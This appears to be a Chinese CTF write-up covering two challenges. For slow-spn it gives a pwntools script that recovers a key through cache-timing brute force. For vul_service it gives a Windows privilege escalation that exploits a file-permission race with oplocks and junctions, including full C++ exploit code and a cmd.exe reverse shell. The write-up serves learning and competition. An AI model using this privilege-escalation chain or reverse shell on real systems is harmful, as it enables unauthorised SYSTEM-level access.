打满48小时,肝痛,无手速和一调试就懵逼党第一次抢到了三血,最后的小失误错失pwn ak
slow-spn
程序从flag.txt中读取6个字符的key和4个字符的plaintext,然后8次通过s盒或p盒的变换后放进模拟的cache中
cache的逻辑是可以多次模拟访问s盒中的地址,如果cache命中了该地址则使用最近最久未使用算法计数,未命中则sleep(1)模拟读取内存的情况
由于有一次访问plaintext在s盒中的地址的机会,所以可以先通过去访问一个地址的方式将一个地址填入cache,然后访问plaintext,通过延时判断cache是否命中,进而猜测plaintext的地址是否为正在cache中的地址
实际操作的时候由于s盒比较大且建立连接速度较慢,所以直接将0x20个cache填满,爆破范围后再从0x20个数据里爆破真实的p
得到p=0x10a4同样的方法爆破上图中v9=0x4924、v7=0x78c、v5=0x9d44,得到
p=0x10a4
k>>8=0x754
k>>4=0x655e
k=0xace7
根据题目提示不用得到很准确的数字,所以将key进行拼接key=0x754e7,连接靶机后输入key和plaintext拿到flag
由于cache是通过5-10bit的line和10bit以上的tag来标记的,所以爆破得到的结果可能有偏差,根据题目提示不用得到很准确的数字,所以将key进行拼接key=0x754e7,连接靶机后输入key和plaintext拿到flag
exp:
def exp(times):
local=1
binary_name='slowspn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
else:
p=remote('124.71.173.176', 9999)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(addr,sp):
ru("What to do?\n")
sl('1')
ru("Where?\n")
sl(str(addr))
sla('Speed up?',str(sp))
def test_flag():
sla('What to do?',str(2))
def nex():
sla('What to do?',str(3))
def nofound():
sl(str(3))
for j in range(0x20):
add(0x645110+j*4+times*4,1)
print(hex(times+j)+': '+hex(ss_box[times+j]))
#nex()
#nex()
#nex()
#nex()
#nex()
#nex()
#通过控制nex的个数调整爆破哪一个变量
test_flag()
time_start=time.time()
ru('What to do?')
time_end=time.time()
print(time_end-time_start)
if round(time_end-time_start) != 1:
print('YES')
ia()
else :
print('NO')
for i in range(7):
sl('2')
p.close()
len_ss_box=65535
for i in range(0,len_ss_box,0x20):
exp(i)
连接.py
from pwn import *
sh=remote("124.71.173.176","8888")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
def proof_of_work(sh):
sh.recvuntil('x + "')
suffix = sh.recvuntil('"').decode("utf8")[:-1]
print(suffix)
sh.recvuntil('== "')
cipher = sh.recvuntil('"').decode("utf8")[:-1]
print(cipher)
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest()[:6] == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("Input x:\n", proof)
proof_of_work(sh)
sh.interactive()
vul_service
这题在比赛时写poc的时候在system32随便找了一个dll验证思路,但是权限修改总是失败,后来复现的时候才注意到即使是system权限也无法更改system32目录下的dll,但是出题人放进去的vul_service文件是system可写的,,爆肝30+小时从零入门Windows编程到Windows提权,最后没拿到flag有点可惜,但也确实学到了很多
题目给了一个win10虚拟机文件,其中设置了1分钟执行一次vul_service的定时任务,从system32中找到vul_service文件进行分析,其逻辑是遍历C:\Users\Public\tmp\
目录及子目录下的文件,根据文件路径读取文件权限后再根据文件路径写回文件权限
漏洞在于读取权限和写入权限都是用文件路径进行操作,如果在读和写之间的时间窗口进行竞争,将文件路径所指的文件修改,也就是读权限和写权限的文件不相同,就可能发生错误的权限设置
并且在GetFileSecurityW
和SetFileSecurityW
之间有一个对CreateFileW
的调用,可以通过Windows机会锁锁住文件读写,在调用CreateFileW
的时候触发机会锁,说明此时已经读取权限完毕,然后开始竞争,修改该文件路径指向的文件(图片注释有误,GetFileSecurityW
函数才是获取权限的函数)
通过对Windows的硬链接或符号链接可以实现同一个文件路径指向不同的文件
在新版本的Windows上由于
- 不再能通过硬链接将低权限文件链到高权限文件
- 无管理员权限的用户无法在文件系统中创建文件符号链接
来源
但是对于文件夹的符号链接则没有过多限制,所以可以采用两种思路达到竞争的时候将一个普通文件链接到vul_service的目的:
-
先在tmp目录下创建链到文件夹A的符号链接,在竞争的时候将tmp目录下的文件夹链接到设备管理器中的文件夹,再从设备管理器中的文件夹创建符号链接链到vul_service文件(设备管理器不在文件系统中,所以可以创建文件符号链接)
则访问
C:\Users\Public\tmp\A\abc
就相当于访问C:\Windows\System32\vul_service.exe
-
在先在tmp目录下创建链到文件夹A的符号链接,在文件夹A中创建vul_service的同名文件,在竞争的时候将tmp目录下的文件夹链到
C:\Windows\System32\
则访问
C:\Users\Public\tmp\A\vul_service.exe
就相当于访问C:\Windows\System32\vul_service.exe
找到googleprojectzero的工具symboliclink-testing-tools ,在测试的时候只有CreateMountPoint.exe和SetOpLock.exe是还能正常使用的,在比赛的时候由于从设备管理器链接到vul_service的时候失败,不确定第一种方法是否已经和硬链接一样被修复(赛后请教出题人2st师傅,2st师傅表示第一种方法还可以使用,并且明显比第二种更灵活,抄抄改改James的代码即可,,2st yyds),所以用第二种方法实现漏洞利用
由于symboliclink-testing-tools的实现使用了很多自定义类型和依赖项,所以在CreateMountPoint项目中的CreateMountPoint.cpp基础上加入Oplock相关的代码编写exp
整体思路是:先将symlink链接到target,在target中创建vul_service同名文件,然后用Oplock锁上文件等待定时任务中的vul_service读取target中的vul_service同名文件权限,释放锁后进行竞争,将target链接到C:\Windows\System32\
,竞争成功的话则写文件权限时会将C:\Windows\System32\vul_service.exe
的权限修改为attack用户可写,之后将vul_service文件的内容改为反弹shell的exe文件,监听端口等待定时任务下一次以system权限启动反弹shell即可
CreateMountPoint.cpp:
#include "stdafx.h"
#include <shobjidl_core.h>
#include <CommonUtils.h>
#pragma comment (lib,"Ws2_32.lib")
#define NUM 5
void END(SOCKET& ListenSocket, SOCKET& ClientSocket)
{
closesocket(ListenSocket);
closesocket(ClientSocket);
WSACleanup();
}
int get_shell()
{
WSADATA wsaData;
char buf[0x1000] = {
0 };
char getbuf[0x1000] = {
0 };
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("[-] ERROR code:%d\n", iResult);
return 1;
}
SOCKET ListenSocket, ClientSocket;
ListenSocket = socket(AF_INET, SOCK_STREAM, 0);
sockaddr_in addr, addr2;
addr.sin_family = AF_INET;
addr.sin_port = htons(8888);
addr.sin_addr.S_un.S_addr = INADDR_ANY;
addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
int addr2Len = sizeof(addr2);
bind(ListenSocket, (sockaddr*)&addr, sizeof(addr));
int ret = listen(ListenSocket, NUM);
if (ret == 0) {
printf("[+] Wating for connecting ...\n");
}
ClientSocket = accept(ListenSocket, (sockaddr*)&addr2, &addr2Len);
if (ClientSocket != NULL)
{
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
}
while (1)
{
memset(getbuf, 0, sizeof(buf));
fgets(buf, 0x100, stdin);
iResult = send(ClientSocket, buf, sizeof(buf), 0);
if (iResult == SOCKET_ERROR)
{
printf("[-] send ERROR: %d", WSAGetLastError());
END(ListenSocket, ClientSocket);
return 1;
}
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
if (iResult == SOCKET_ERROR)
{
printf("[-] recv ERROR: %d", WSAGetLastError());
END(ListenSocket, ClientSocket);
return 1;
}
printf("%s\n", getbuf);
fflush(stdout);
fflush(stderr);
}
return 0;
}
class FileOpLock
{
public:
typedef void(*UserCallback)();
static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb);
void WaitForLock(UINT Timeout);
~FileOpLock();
private:
HANDLE g_hFile;
OVERLAPPED g_o;
REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
HANDLE g_hLockCompleted;
PTP_WAIT g_wait;
UserCallback _cb;
FileOpLock(UserCallback cb);
static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
PVOID Parameter, PTP_WAIT Wait,
TP_WAIT_RESULT WaitResult);
void DoWaitCallback();
bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive);
};
static FileOpLock* oplock = nullptr;
LPCWSTR lock;
LPCWSTR symlink;
LPCWSTR target;
LPCWSTR sys;
LPCWSTR shell;
LPCWSTR tmp;
void HandleOplock()
{
DebugPrintf("OpLock triggered, hit ENTER to close oplock\n");
getc(stdin);
printf("[+] Change symlink\n");
if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
{
if (!ReparsePoint::CreateMountPoint(symlink, sys, L""))
{
printf("Error creating mount point - %d\n", GetLastError());
exit(-1);
}
}
else
{
printf("nofuck Error creating directory - %d\n", GetLastError());
}
}
int _tmain(int argc, _TCHAR* argv[])
{
symlink = argv[1];
target = argv[2];
lock = argv[3];
shell = argv[4];
sys = L"C:\\Windows\\System32";
if (argc < 5)
{
printf("CreateMountPoint.exe symlink target lock shell\n");
return 1;
}
CreateDirectory(target, 0);
if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
{
printf("[+] Create symlink\n");
if (!ReparsePoint::CreateMountPoint(symlink, target, L""))
{
printf("Error creating mount point - %d\n", GetLastError());
exit(-1);
}
printf("[+] Create fake vul_service.exe\n");
HANDLE handle = CreateFile(lock, GENERIC_READ, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
CloseHandle(handle);
printf("[+] Lock\n");
LPCWSTR share_mode = L"RW";
oplock = FileOpLock::CreateLock(lock, share_mode, HandleOplock);
if (oplock != nullptr)
{
oplock->WaitForLock(INFINITE);
delete oplock;
}
else
{
printf("Error creating oplock\n");
return 1;
}
printf("[+]load shell\n");
Sleep(1000);
HANDLE lock_handler = CreateFile(lock, GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (lock_handler == INVALID_HANDLE_VALUE)
{
printf("Error open lock, %d\n", GetLastError());
return 1;
}
HANDLE shell_handler = CreateFile(shell, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (shell_handler == INVALID_HANDLE_VALUE)
{
printf("Error open shell, %d\n", GetLastError());
return 1;
}
DWORD szr = GetFileSize(shell_handler, 0);
DWORD szw = szr;
PTCHAR p = (PTCHAR)malloc(szr);
ReadFile(shell_handler, p, szr, &szr, 0);
WriteFile(lock_handler, p, szw, &szw, 0);
CloseHandle(lock_handler);
CloseHandle(shell_handler);
printf("OK\n");
get_shell();
}
else
{
printf("nofuck Error creating directory - %d\n", GetLastError());
}
return 0;
}
a.cpp:
#include <WinSock2.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ws2_32.lib")
int main(int argc, char* argv[])
{
WSADATA wsd;
WSAStartup(0x0202, &wsd);
SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
SOCKADDR_IN sin;
sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sin.sin_port = htons(8888);
sin.sin_family = AF_INET;
printf("conncting...");
int ret = connect(socket, (sockaddr*)&sin, sizeof(sin));
if(ret!=0)
{
printf("[-] Error connect : %d\n", WSAGetLastError());
getc(stdin);
}
send(socket, "[+] Connected\n", strlen("[+] Connected\n"), 0);
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
TCHAR cmdline[255] = L"cmd.exe";
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
在编译时需要调整一些项目配置参数,反弹shell的io还有些问题,但是可以看到已经成功成为system权限
C:\Users\Attacker\Desktop\CreateMountPoint.exe C:\Users\Public\tmp\X1ng C:\Users\Public\tmp1 C:\Users\Public\tmp\X1ng\vul_service.exe C:\Users\Attacker\Desktop\a.exe
参考资料
一步步学写Windows下的Shellcode - 安全客,安全资讯平台 (anquanke.com)